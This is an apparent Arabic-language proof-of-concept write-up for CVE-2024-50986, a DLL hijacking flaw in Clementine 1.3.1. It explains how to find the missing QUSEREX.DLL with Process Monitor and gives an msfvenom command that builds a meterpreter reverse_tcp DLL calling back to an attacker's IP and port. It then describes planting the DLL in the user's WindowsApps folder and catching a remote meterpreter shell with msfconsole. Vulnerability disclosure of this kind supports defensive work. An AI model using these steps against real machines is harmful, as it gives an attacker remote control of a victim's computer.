CVE-2024-50986: استغلال اختطاف DLL في Clementine

الوصف: يحتوي Clementine الإصدار 1.3.1 على ثغرة تسمح لمهاجم محلي بتنفيذ تعليمات برمجية عشوائية عبر ملف DLL مصمم بعناية.

الإصدار المتأثر: Clementine v.1.3.1

الباحث: Utkarsh (r1971d3) LinkedIn

رابط NIST CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-50986

نوع الثغرة: مسار بحث غير موثوق (Untrusted Search Path)

المكوّن المتأثر: QUSEREX.DLL

استغلال إثبات المفهوم

ناقل الهجوم

لاستغلال هذه الثغرة، يجب على المهاجم إنشاء ملف DLL خبيث باسم QUSEREX.DLL ووضعه في المجلد: C:\Users<username>\AppData\Local\Microsoft\WindowsApps. عند تشغيل تطبيق Clementine، سيتم تحميل ملف DLL الخبيث وتنفيذ كود المهاجم.

الوصف والاستخدام

1. استخدم Process Monitor (procmon) مع عوامل تصفية مناسبة لتحديد ملفات DLL المفقودة وتتبع الأماكن التي يبحث فيها Clementine عنها داخل نظام التشغيل Windows.

2. يكشف البحث أن ملف DLL "QUSEREX.DLL" يتم البحث عنه في عدة مواقع، بما في ذلك C:\Users<username>\AppData\Local\Microsoft\WindowsApps\

3. يتم إنشاء ملف DLL خبيث باستخدام msfvenom عبر الأمر التالي:

sudo msfvenom -p windows/meterpreter/reverse_tcp -ax86 -f dll LHOST=<IP Address> LPORT=<Port> > QUSEREX.DLL

4. يتم وضع ملف DLL الخبيث في المجلد C:\Users<username>\AppData\Local\Microsoft\WindowsApps\، حيث يتم تحميله بنجاح بواسطة Clementine.

5. باستخدام msfconsole، يتم إرسال حمولة مقسمة (staged payload) عبر الصدفة العكسية، مما يؤدي إلى الحصول على جلسة shell من نوع meterpreter في المجلد C:\Program Files (x86)\Clementine\projectm-presets على الجهاز الهدف.